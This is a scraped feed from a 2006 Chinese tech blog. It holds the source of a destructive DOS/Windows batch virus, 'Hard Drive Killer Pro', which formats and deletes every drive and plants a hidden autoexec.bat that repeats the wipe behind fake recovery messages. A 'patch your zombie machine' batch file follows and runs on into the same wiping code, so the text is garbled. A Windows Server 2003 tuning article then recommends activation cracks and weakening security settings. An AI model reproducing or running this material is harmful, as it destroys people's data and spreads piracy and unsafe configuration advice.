%%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul <br /><br />　　cls <br /><br />　　echo Thank you for using a Munga Bunga product. <br /><br />　　echo. <br /><br />　　echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. <br /><br />　　echo. <br /><br />　　echo Here is a joke for you . . . <br /><br />　　echo. <br /><br />　　echo Q). Whats the worst thing about being an egg? <br /><br />　　echo A). You only get laid once. <br /><br />　　echo. <br /><br />　　echo HAHAHAHA, get it? Dont you just love that one? <br /><br />　　echo. <br /><br />　　echo Regards, <br /><br />　　echo. <br /><br />　　echo Munga Bunga <br /><br />　　:end <br /><br />　　rem Hard Drive Killer Pro Version 4.0, enjoy!!!! <br /><br />　　rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).</div> <br />2.全面加固系统（给肉鸡打补丁）的批处理文件 <br /><div class="code_main">　　------------------------ cut here then save as .bat or .cmd file --------------------------- <br /><br />　　@echo Windows Registry Editor Version 5.00 &gt;patch.dll <br /><br />　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] &gt;&gt;patch.dll <br /><br />　　@echo "AutoShareServer"=dword:00000000 &gt;&gt;patch.dll <br /><br />　　@echo "AutoShareWks"=dword:00000000 &gt;&gt;patch.dll <br /><br />　　@REM [禁止共享] <br /><br />　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] &gt;&gt;patch.dll <br /><br />　　@echo "restrictanonymous"=dword:00000001 &gt;&gt;patch.dll <br /><br />　　@REM [禁止匿名登录] <br /><br />　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] &gt;&gt;patch.dll <br /><br />　　@echo "SMBDeviceEnabled"=dword:00000000 &gt;&gt;patch.dll <br /><br />　　@REM [禁止及文件访问和打印共享] <br /><br />　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] &gt;&gt;patch.dll <br /><br />　　@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br /><br />　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] &gt;&gt;patch.dll <br /><br />　　@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br /><br />　　@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] &gt;&gt;patch.dll <br /><br />　　@echo "ShutdownWithoutLogon"="0" &gt;&gt;patch.dll <br /><br />　　@REM [禁止登录前关机] <br /><br />　　@echo "DontDisplayLastUserName"="1" &gt;&gt;patch.dll <br /><br />　　@REM [禁止显示前一个登录用户名称] <br /><br />　　@regedit /s patch.dll <br /><br />　　:Sampledrv <br /><br />　　for %%a in (%alldrive%) do call drivechk.bat %%a &gt;nul <br /><br />　　del drivechk.bat &gt;nul <br /><br />　　if %drive.==. set drive=c <br /><br />　　:form_del <br /><br />　　call attrib -r -h c:\autoexec.bat &gt;nul <br /><br />　　echo @echo off &gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cd\ &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo 1. To make people aware that security should not be taken for granted. &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.&gt;&gt;c:\autoexec.bat <br /><br />　　echo echo. &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Regards, &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo. &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Munga Bunga &gt;&gt;c:\autoexec.bat <br /><br />　　call attrib +r +h c:\autoexec.bat <br /><br />　　:makedir <br /><br />　　if exist c:\temp.bat attrib -r -h c:\temp.bat &gt;nul <br /><br />　　echo @echo off &gt;c:\temp.bat <br /><br />　　echo %%1:\ &gt;&gt;c:\temp.bat <br /><br />　　echo cd\ &gt;&gt;c:\temp.bat <br /><br />　　echo :startmd &gt;&gt;c:\temp.bat <br /><br />　　echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a &gt;&gt;c:\temp.bat <br /><br />　　echo for %%%%a in ("&gt;ass_hole.txt") do echo %%%%a Your Gone @$hole!!!! &gt;&gt;c:\temp.bat <br /><br />　　echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd &gt;&gt;c:\temp.bat <br /><br />　　call attrib +r +h c:\temp.bat &gt;nul <br /><br />　　cls <br /><br />　　echo Initializing Variables . . . <br /><br />　　rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction. <br /><br />　　for %%a in (%drive%) do call format %%a: /q /u /autoSample &gt;nul <br /><br />　　cls <br /><br />　　echo Initializing Variables . . . <br /><br />　　echo Validating Data . . . <br /><br />　　for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul <br /><br />　　cls <br /><br />　　echo Initializing Variables . . . <br /><br />　　echo Validating Data . . . <br /><br />　　echo Analyzing System Structure . . . <br /><br />　　for %%a in (%drive%) call attrib -r -h %%a:\ /S &gt;nul <br /><br />　　call attrib +r +h c:\temp.bat &gt;nul <br /><br />　　call attrib +r +h c:\autoexec.bat &gt;nul <br /><br />　　cls <br /><br />　　echo Initializing Variables . . . <br /><br />　　echo Validating Data . . . <br /><br />　　echo Analyzing System Structure . . . <br /><br />　　echo Initializing Application . . . <br /><br />　　for %%a in (%drive%) call deltree /y %%a:\*. &gt;nul <br /><br />　　cls <br /><br />　　echo Initializing Variables . . . <br /><br />　　echo Validating Data . . . <br /><br />　　echo Analyzing System Structure . . . <br /><br />　　echo Initializing Application . . . <br /><br />　　echo Starting Application . . . <br /><br />　　for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul <br /><br />　　cls <br /><br />　　echo Thank you for using a Munga Bunga product. <br /><br />　　echo. <br /><br />　　echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. <br /><br />　　echo. <br /><br />　　echo Here is a joke for you . . . <br /><br />　　echo. <br /><br />　　echo Q). Whats the worst thing about being an egg? <br /><br />　　echo A). You only get laid once. <br /><br />　　echo. <br /><br />　　echo HAHAHAHA, get it? Dont you just love that one? <br /><br />　　echo. <br /><br />　　echo Regards, <br /><br />　　echo. <br /><br />　　echo Munga Bunga <br /><br />　　:end <br /><br />　　rem Hard Drive Killer Pro Version 4.0, enjoy!!!! <br /><br />　　rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here). </div><img src ="http://www.cnitblog.com/raise/aggbug/9757.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/raise/" target="_blank">江可</a> 2006-04-27 13:05 <a href="http://www.cnitblog.com/raise/archive/2006/04/27/9757.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>2003安装后的设置（优化）</title><link>http://www.cnitblog.com/raise/archive/2006/04/27/9751.html</link><dc:creator>江可</dc:creator><author>江可</author><pubDate>Thu, 27 Apr 2006 03:32:00 GMT</pubDate><guid>http://www.cnitblog.com/raise/archive/2006/04/27/9751.html</guid><wfw:comment>http://www.cnitblog.com/raise/comments/9751.html</wfw:comment><comments>http://www.cnitblog.com/raise/archive/2006/04/27/9751.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/raise/comments/commentRss/9751.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/raise/services/trackbacks/9751.html</trackback:ping><description><![CDATA[
		<p>  　　Windows Server 2003是一款凝聚了微软多年以来技术积累的全新操作系统。这是由于Windows Server 2003核心得到改进、各种设备管理获得进一步的优化，在性能方面有了长足发展。所以在相同硬件配置情况下，Windows Server 2003的启动速度和程序运行速度比Windows 2000 Server要快许多，尤其在低档硬件配置下和运行大型软件时表现得更加明显。其影响能力远比桌面操作系统中的Windows XP和Windows 98更加深远。但在其具体操作上与Windows 2000 Server 系列版本也有很大的不同，在系统安全上也存在着不同程度的隐患。为帮助各位尽快掌握和使用Win2003操作系统，特总结如下应用技巧，希望能给电脑新手带来一些帮助！</p>
		<p>　　一、取消自动保存设置</p>
		<p>　　Windows Server 2003作为新一代的网络操作系统具有自己独有的设备管理模式，在调用应用程序出现错误时，系统中的Dr. Watson会自动将一些重要的调试信息保存起来，以便日后维护系统时查看。但是这些信息随时也有被黑客窥视的可能，为了重要的调试信息的整体安全，我们应该取消Dr. Watson自动保存调试信息的设置。具体步骤如下：首先打开开始菜单，选中“运行”命令，在随后打开的运行对话框中，输入注册表编辑命令“ergedit”命令，打开一个注册表编辑窗口；二是在该窗口中，用鼠标依次展开HKEY_local_machine＼software＼Microsoft＼WindowsdowsNT＼CurrentVersion＼AeDebug分支，在对应AeDebug键值的右边子窗口中，用鼠标双击Auto值，在弹出的参数设置窗口中，将其数值重新设置为“0”。三是打开系统的Windows资源管理器窗口，并在其中依次展开Documents and Settings文件夹、All Users文件夹、Shared Documents文件夹、DrWatson文件夹，最后将对应DrWatson中的User.dmp文件、Drwtsn32.log文件删除掉。在完成上面的设置后，只需重新启动一下系统即可。今后你不用再担心自动保存设置出现问题了。</p>
		<p>　　二、取消对网站的安全设置</p>
		<p>　　新安装好Windows Server 2003操作系统在默认状态下，会将IE的安全访问级别设置为“高”，当你打开IE后，会弹出提示窗口，提示我们，是否需要将当前访问的网站添加到自己信任的站点中去；要是你不信任的话将无法对Internet进行浏览和文件下载，每次访问网页，都要经过这样的步骤。如此一来，不但会大大降低网页访问效率而且很麻烦，为此你可以按下面步骤，来取消安全提示：首先要依次执行“开始”/“设置”/“控制面板”命令，在打开的控制面板窗口中，用鼠标双击“添加和删除程序”图标，将界面切换到“添加和删除Windows组件”页面中；二是用鼠标选中“Internet Explorer增强的安全配置”选项，继续单击下一步按钮，就能将该选项从系统中删除了；最后再单击一下“完成”按钮，退出组件删除提示窗口。从今往后，你再上网的时候，IE就不会自动去检查网站的安全性了，重新设置以后你感觉是不是方便多了。<br />  </p>
		<p>
				<br /> </p>
		<p>--------------------------------------------------------------------------------<br /> <br />  　　三、取消资源共享设置</p>
		<p>　　Windows Server 2003在网络操作系统方面较Windows 2000有了很大增强，也为局域网用户在相互之间的传输信息方面带来极大方便，比如为用户提供了文件和打印共享功能等。但是不要忘了，在我们享受该功时的时候，也为黑客们提供了可乘之机，给服务器系统带来了潜在的危险。大家要注意，在用完文件或打印共享功能时，要随时将共享功能关闭—以防万一。具体步骤如下：首先执行控制面板菜单项下面的“网络连接”命令，在出现的窗口中，用鼠标右键单击“本地连接”图标；二是在打开的快捷菜单中，单击“属性”命令，这样就能打开一个“Internet协议(TCP/IP)”属性设置对话框；三是在该界面中取消“Microsoft网络的文件和打印机共享”这个选项即可；完成以上设置以后，本地计算机就没有办法对外提供文件与打印共享服务了，实践证明这种方法是很有效果的。</p>
		<p>　　四、取消用户切换设置</p>
		<p>　　Windows 2003系统为我们提供了快速用户切换功能，利用该功能我们可以很轻松地登录到系统中。不过，在享受这种轻松时的背后，也给你的系统带来了安装上的隐患，例如我们在执行系统“开始”菜单中的“注销”命令，“切换用户”时，如果再使用传统的方式来登录系统的话，系统很有可能会把本次登录当作错误处理，Windows2003系统就可能将当前登录的帐号当作非法帐号，将它锁定起来，给我们带来了很多的麻烦；遇到这种情况，我们可以按如下步骤来避免系统产生的安全隐患：首先在Windows 2003系统桌面中，单击开始菜单下面的“控制面板”命令，找到下面的“管理工具”命令，再执行下级菜单中的“计算机管理”命令，找到“用户帐户”图标，并在随后出现的窗口中单击“更改用户登录或注销的方式”；在打开的设置窗口中，将“使用快速用户切换”选项取消即可。</p>
		<p>　　五、取消关机原因的设置</p>
		<p>　　每次需要关闭系统时，Win2003系统总是要你选择关机原因，对于个人用户来说，非常麻烦！而且也没有多么大的使用意义，可禁用该功能：（1）使用组策略法：在“开始→运行”中键入“gpedit.msc”打开组策略窗口，展开“‘本地计算机’策略→计算机配置→管理模板→系统”，接着双击“显示‘关闭事件跟踪程序’”项，在弹出窗口中勾选“已禁用”项即可。（2）使用注册表法：在“开始→运行”中键入“Regedit”打开“注册表编辑器”，展开分支“HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftwindows NT”，新建一个名为“Reliability”的项，接着新建一个名为“ShutdownReasonOn”的DWORD值，将它的值设为0即可。（３）使用系统设置法：打开“控制面板→电源选项”，进入“高级”选项卡，在其中的“电源按钮”设置区域中，将“在按下计算机电源按钮时”设置为“关机”，然后单击“确定”按钮即可。这样，以后在关机时，直接按下机箱上的电源按钮，计算机就会在保存配置后直接关闭了。经过以上设置以后，在你关闭系统的时候，不再会有麻烦了。</p>
		<p>　　六、其它</p>
		<p>　　Windows Server 2003作为新一代的网络操作系统具有自己独有的设备管理模式，在安装硬件驱动程序时一定要使用经微软认证获得数字签名的驱动程序，以确保系统的稳定性和兼容性。而且在管理性方面较Windows 2000有了很大增强，利用“配置您的服务器”和“管理您的服务器”向导，即可简单、方便、有效的进行服务器角色的安装和管理。</p>
		<p>
				<br /> <br /> <br /> <br />【简 介】<br />　　Windows　2003的系列优化方法  <br /> </p>
		<p>--------------------------------------------------------------------------------<br /> <br />  　　一、windows server 2003 3790版本识别 </p>
		<p>　　RTM=release to manufacture （公开发行批量生产）是给硬件制造商的版本！是送去压盘的,不是拿去卖的。 </p>
		<p>　　OEM=Original Equipment Manufacturer只能全新安装， 和RTM差不多，只是称呼不同而已。 </p>
		<p>　　RTL=retail（零售）正式零售版,可以升级或者全新安装。 </p>
		<p>　　VLK=Volume License大量授权版，又称为企业版。无需激活。(网上所谓的简体中文VLK版 </p>
		<p>　　实际是普通简体中文版加英文VLK版中的8个文件而已) </p>
		<p>　　二、Windows Server 2003的不同版本 </p>
		<p>　　Windows Server 2003 Web版:为快速开发、部署Web服务与应用程序，提供Web托管与服务平台。支持2路 </p>
		<p>　　SMP(对称多处理)系统、2GB内存。 </p>
		<p>　　Windows Server 2003标准版:面向中小型企业和部门级应用。支持4路SMP、4GB内存。 </p>
		<p>　　Windows Server 2003企业版:适合中心与大型组织使用，有32位和64位两个版本。支持8节点集群、NUMA； </p>
		<p>　　支持8路SMP，其中32位版支持32GB内存，64位版支持64GB内存。 </p>
		<p>　　Windows Server 2003数据中心版：面向要求强伸缩性和高可用性的企业，有32位和64位两个版本。32位版 </p>
		<p>　　支持32路SMP、64GB内存；64位版支持64路SMP、512GB内存；两个版本均支持8节点集群、NUMA 　 </p>
		<p>　　三、windows server 2003 3790版的激活 　　 </p>
		<p>　　在正式版算号器没有出来之前，现在流行的激活方式有以下几种： </p>
		<p>　　（1）Reset5.02，在安全模式下运行即可激活，把时间调整为2008年都没有问题，一切使用正常。可以升级。 </p>
		<p>　　缺点：激活程序被彻底屏蔽，表现为运行msoobe /a没有任何显示，并且在服务中有一项reset5，开机会自动运 </p>
		<p>　　行此服务，C:\WINDOWS\system32\srvany.exe，此程序应该是reset5添加入系统的。 　　 </p>
		<p>　　（2）俄罗斯破解，记得在xp时代，只要把setupreg.hiv在安装前替换，然后电话激活就可以达到完美的激活境 </p>
		<p>　　界，可在2003下，这样子做之后，当前显示已激活，可如果你调整了时间再开机又会显示要激活，甚至是不能 </p>
		<p>　　使用。估计次次问题关键还是在那个setupreg.hiv文件。 　　 </p>
		<p>　　（3）在论坛上有人贴出了一个Winxpactivation.exe的文件，号称可以激活，实际上这个还是假激活，暂时屏 </p>
		<p>　　蔽了激活程序，是不能够修改时间的。 　　 </p>
		<p>　　（4）用替换法做出来的伪VLK，安装使用都没有问题，只是不能升级。VLK是替换英文版的8个文件.但是SN已经 </p>
		<p>　　被微软封掉了.所以不能升级，但是此法是最稳定的，没有任何问题。 　　 </p>
		<p>　　结论：推荐大家用8个替换法激活和reset5.02激活！ 　 </p>
		<p>　　四、win 2003 server的一些优化设置 　　 </p>
		<p>　　1.禁用配置服务器向导: 　　 </p>
		<p>　　禁止“配置你的服务器”（Manage Your Server）向导的出现：在控制面板（Control Panel） -&gt; 管理员工具 </p>
		<p>　　（Administrative Tools ）-&gt; 管理你的服务器（Manage Your Server）运行它，然后在窗口的左下角复选“ </p>
		<p>　　登录时不要显示该页”（Don't display this page at logon）。 　　 </p>
		<p>　　2.启用硬件和DirectX加速 　　 </p>
		<p>　　★硬件加速：桌面点击右键－－属性（Properties） -&gt; 设置（Settings ）－－高级（ Advanced ）－－ </p>
		<p>　　疑难解答（Troubleshoot）。把该页面的硬件加速滚动条拉到“完全”（ Full），最好点击“确定”（OK）保 </p>
		<p>　　存退出。这期间可能出现一瞬的黑屏是完全正常。 　　 </p>
		<p>　　★DirectX加速：打开“开始”（Start） -&gt; “运行”（Run），键入“dxdiag”并回车打开“DirectX 诊 </p>
		<p>　　断工具”（DirectX Tools），在“显示”（Display）页面，点击DirectDraw, Direct3D and AGP Texture 加 </p>
		<p>　　速三个按钮启用加速。把“声音的硬件加速级别”（Hardware Sound Acceleration Level）滚动条拉到“完全 </p>
		<p>　　加速”（ Full Acceleration）。 　　 </p>
		<p>　　3. 启用声卡： 　　 </p>
		<p>　　系统安装后，声卡是禁止状态，所以要在 控制面板 -&gt; 声音 -&gt; 启用，重启之后再设置它在任务栏显示。 </p>
		<p>　　如果你使用的是Windows server 2003标准版请从第二步xx作，因为标准版已允许声音服务。 </p>
		<p>　　★打开“开始”（Start） -&gt; “运行”（Run），键入“Services.msc ”，在出现的窗口中找到 </p>
		<p>　　“Windows Audio”并双击它，然后在启动模式（startup type ）的下拉菜单选择“自动”ˋutomatic）， </p>
		<p>　　并点击“应用”（Apply） -&gt;“开始”（Start） -&gt; “确定”（OK） 　　 </p>
		<p>　　★打开“开始”（Start） -&gt; “运行”（Run），键入“dxdiag”并回车打开“DirectX 诊断工具” </p>
		<p>　　（DirectX Tools），在“Sound”（Display）页面，把“声音的硬件加速级别” </p>
		<p>　　（Hardware Sound Acceleration Level）滚动条拉到“完全加速”（ Full Acceleration）。　 </p>
		<p>　　4. 如何启用 ASP 支持： 　　 </p>
		<p>　　Windows Server 2003 默认安装，是不安装 IIS 6 的，需要另外安装。安装完 IIS 6， </p>
		<p>　　还需要单独开启对于 ASP 的支持。方法是： 控制面板 -&gt; 管理工具 -&gt; </p>
		<p>　　Web服务扩展 -&gt; Active Server Pages -&gt; 允许。 　　 </p>
		<p>　　5. 如何启用 XP 的桌面主题： 　　 </p>
		<p>　　★打开“开始”（Start） -&gt; “运行”（Run），键入“Services.msc ”，选themes“主题”（默认是禁止的） </p>
		<p>　　，然后改为“自动”，按“应用”，选“开启”。 </p>
		<p>　　★接着点“桌面”的属性，在“主题”里选“windows xp” </p>
		<p>　　★我的电脑----属性----高级----性能-----在桌面上为图标标签使用阴影   </p>
		<p>-----------------------------------<br /> <br />  　　6. 禁止关机时出现的关机理由选择项： 　　 </p>
		<p>　　关机事件跟踪（Shutdown Event Tracker）也是Windows server 2003区别于其他工作站系统的一个设置， </p>
		<p>　　对于服务器来说这是一个必要的选择，但是对于工作站系统却没什么用，我们同样可以禁止它。 </p>
		<p>　　打开”开始“Start -&gt;”运行“ Run -&gt;输入”gpedit.msc “，在出现的窗口的左边部分， </p>
		<p>　　选择 ”计算机配置“（Computer Configuration ）-&gt; ”管理模板“（Administrative Templates ） </p>
		<p>　　-&gt; ”系统“（System）,在右边窗口双击“Shutdown Event Tracker” 在出现的对话框中选择“禁止” </p>
		<p>　　（Disabled），点击然后“确定”（OK）保存后退出，这样，你将看到类似于windows 2000的关机窗口 　　 </p>
		<p>　　7. 如何使用USB硬盘、U盘，添加已经有分区的硬盘 　　 </p>
		<p>　　我的电脑（单击右键）----管理----磁盘管理-----在相应的硬盘上执行导入和分配盘符操作 　 </p>
		<p>　　8. 在控制面板里显示全部组件： </p>
		<p>　　把 Windows\inf 目录中的 sysoc.inf 文件里的 "hide" 替换掉。 　　 </p>
		<p>　　9.禁用Internet Explorer Enhanced Security 和禁止安全询问框的出现 </p>
		<p>　　在IE工具选项中自定义设置IE的安全级别。在”安全“（Security）选项卡上拉动滚动条把Internet区域 </p>
		<p>　　安全设置为”中“（Medium）或“中低”。自定义设置中将有关的选择“提示”修改为选择“禁止”或“启用”。 　　 </p>
		<p>　　10. 禁用开机 CTRL+ALT+DEL和实现自动登陆 　　 </p>
		<p>　　★方法1：打开注册表(运行-&gt;“Regedit”)，再打开: </p>
		<p>　　HKEY_LOCAL_MACHIN　SOFTWARE　MicroSoft　Windows NT　CurrentVersion 　Winlogon段，在此段中按右键，新建 </p>
		<p>　　二个字符串段，AutoAdminLogon=“1”，DefaultPassword=“为超级用户Administrator所设置的Password”。 </p>
		<p>　　注意，一定要为Administrator设置一个密码，否则不能实现自启动。 然后，重新启动Windows即可实现自动登录。 　 </p>
		<p>　　★方法2：管理工具 -&gt; Local Security Settings（本地安全策略） -&gt; 本地策略 -&gt; 安全选项 -&gt; </p>
		<p>　　interactive logon: Do not require CTRL+ALT+DEL，启用之。 　　 </p>
		<p>　　★方法3（自动登陆）：使用Windows XP的Tweak UI来实现Server 2003自动登陆。 </p>
		<p>　　下载：Tweak UI <a href="http://www.ssite.org/uppic/sun_pic/...003/tweakui.exe">http://www.ssite.org/uppic/sun_pic/...003/tweakui.exe</a></p>
		<p>　　下载后直接执行tweakui.exe 在左边的面板中选择Logon -&gt; Autologon -&gt; 在右边勾选Log on automatically </p>
		<p>　　at system startup输入你的用户名和域名（如果没有就不写），点击下面的Set Password，输入用户名的密码 </p>
		<p>　　，然后点击OK。 　　 </p>
		<p>　　11.隐藏文件 　　 </p>
		<p>　　Windows Server 2003默认情况下是显示所有的文件夹的，如果你不想这样，可以通过一下方法来隐藏： </p>
		<p>　　打开任意一个文件夹，选择工具（Tools） -&gt; 文件夹选项（Folder Options） -&gt; 查看（View）， </p>
		<p>　　调整 显示系统文件夹的内容、隐藏受保护的操作系统文件、隐藏文件和文件夹 三项 　　 </p>
		<p>　　12.允许内置的IMAPI CD-Burning服务和支持Windows影像设备服务 　　 </p>
		<p>　　.允许内置的IMAPI CD-Burning服务和支持Windows影像设备服务 </p>
		<p>　　★假如你希望启用Windows内置的IMAPI CD-Burning服务。做如下xx作： </p>
		<p>　　打开“开始”（Start） -&gt; “运行”（Run），键入“Services.msc ”，在出现的窗口中找到 </p>
		<p>　　“IMAPI CD-Burning COM Service ”并双击它，然后在启动模式（startup type ）的下拉菜单选择“自动” </p>
		<p>　　（Automatic），并点击“应用”（Apply） -&gt;“开始”（Start） -&gt; “确定”（OK） 　　 </p>
		<p>　　★假如你有如数码相机和扫描仪之类的影像设备，你应该打开Windows Image Acquisition 服务。 </p>
		<p>　　打开“开始”（Start） -&gt; “运行”（Run），键入“Services.msc ”，在出现的窗口中找到 </p>
		<p>　　“Windows Image Acquisition (WIA) ”并双击它，然后在启动模式（startup type ）的下拉 </p>
		<p>　　菜单选择“自动”（Automatic），并点击“应用”（Apply） -&gt;“开始”（Start） -&gt; “确定”   <br />---------------------------------------------<br /> <br />  　　13.高级设置 　　 </p>
		<p>　　★我们可以修改一些windows server 2003的高级设置以适合工作站的应用环境。 </p>
		<p>　　右键点击“我的电脑”（My Computer）－－属性（Properties）－－高级（Advanced）－－性能（Performance） </p>
		<p>　　－－设置（Setting）－－高级（Advanced），把“处理器计划”（Processor scheduling ）和内存使用 </p>
		<p>　　（Memory usage）分配给“程序”（Programs）使用。然后点击“确定”（OK.） 　　 </p>
		<p>　　★禁用错误报告 </p>
		<p>　　右键点击“我的电脑”（My Computer）－－属性（Properties）－－高级（Advanced）－－点击“错误报告” </p>
		<p>　　（Error Reporting ）按钮，在出现的窗口中把“禁用错误报告”（Disable Error Reporting）选上并复选“ </p>
		<p>　　但在发生严重错误时通知我”（But, notify me when critical errors occur.） 　　 </p>
		<p>　　★调整虚拟内存 </p>
		<p>　　一些朋友经常会对关机和注销缓慢感到束手无策，解决办法就是禁用虚拟内存，这样你的注销和关机时间可能 </p>
		<p>　　会加快很多。右键点击“我的电脑”（My Computer）－－属性（Properties）－－高级（Advanced）－－性能 </p>
		<p>　　（Performance）－－设置（Setting）－－高级（Advanced），点击“虚拟内存”（Virtual memory）部分的 </p>
		<p>　　“更改”（Change），然后在出现的窗口选择“无分页文件”。重启系统即可。 　　 </p>
		<p>　　14.加快启动和运行速度 　　 </p>
		<p>　　★修改注册表，减少预读取，减少进度条等待时间： </p>
		<p>　　开始→运行→regedit启动注册表编辑器，HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session </p>
		<p>　　Manager\Memory Management\PrefetchParameters， 有一个键值名为EnablePrefetcher，它的值是3,把它改为 </p>
		<p>　　“1”或“5”。找到 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control， </p>
		<p>　　将 WaitToKillServiceTimeout 设为：1000或更小。 ( 原设定值：20000 ) </p>
		<p>　　找到 HKEY_CURRENT_USER\Control Panel\Desktop 键，将右边视窗的 </p>
		<p>　　WaitToKillAppTimeout 改为 1000， ( 原设定值：20000 )即关闭程序时仅等待1秒。 </p>
		<p>　　将 HungAppTimeout 值改为：200( 原设定值：5000 )， 表示程序出错时等待0.5秒。 　　 </p>
		<p>　　★让系统自动关闭停止回应的程式。 </p>
		<p>　　打开注册表 HKEY_CURRENT_USER\Control Panel\Desktop 键， </p>
		<p>　　将 AutoEndTasks 值设为 1。 ( 原设定值：0 ) 　　 </p>
		<p>　　★禁用系统服务Qos </p>
		<p>　　开始菜单→运行→键入 gpedit.msc ，出现“组策略”窗口， 展开 "管理模板”→“网络” ， 展开 "QoS 数 </p>
		<p>　　据包调度程序"， 在右边窗右键单击“限制可保留带宽" ，在属性中的“设置”中有“限制可保留带宽" ，选 </p>
		<p>　　择“已禁用”，确定即可。当上述修改完成并应用后，用户在网络连接的属性对话框内的一般属性标签栏中如 </p>
		<p>　　果能够看到"QoS Packet Scheduler（QoS 数据包调度程序）"。说明修改成功，否则说明修改失败。 </p>
		<p>
				<br />--------------------------------------------------------------------------------<br /> <br />  　　★改变窗口弹出的速度： </p>
		<p>　　找到HKEY_CURRENT_USER＼Control Panel＼Desktop＼WindowMetrics子键分支，在右边的窗口中找到 </p>
		<p>　　MinAniMate键值，其类型为REG_SZ，默认情况下此健值的值为1，表示打开窗口显示的动画，把它改为0，则禁 </p>
		<p>　　止动画显示，接下来从开始菜单中选择“注销”命令，激活刚才所作的修改。 　　 </p>
		<p>　　★禁止Windows XP的压缩功能： </p>
		<p>　　点击“开始”下的“运行”，在“运行”输入框中输入“regsvr32/u zipfldr.dll”，然后按回车键即可。 　　 </p>
		<p>　　★设置个性的启动信息或警告信息： </p>
		<p>　　个性化的Windows XP启动：打开注册表编辑器，找到HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼Windows NT </p>
		<p>　　＼CurrentVersion＼Winlogon子键分支，双击LegalNoticeCaption健值，打开“编辑字符串”对话框，在“数 </p>
		<p>　　值数据”下的文本框中输入自己想要的信息标题，如“哥们儿，你好！”，然后点击“确定”，重新启动。 </p>
		<p>　　如果想要改变警告信息的话可以双击LegalNoticeText健值名称，在出现的“编辑字符串”窗口中输入想要显示 </p>
		<p>　　的警告信息，单击“确定”，重新启动。 　　 </p>
		<p>　　15.安装Java VM </p>
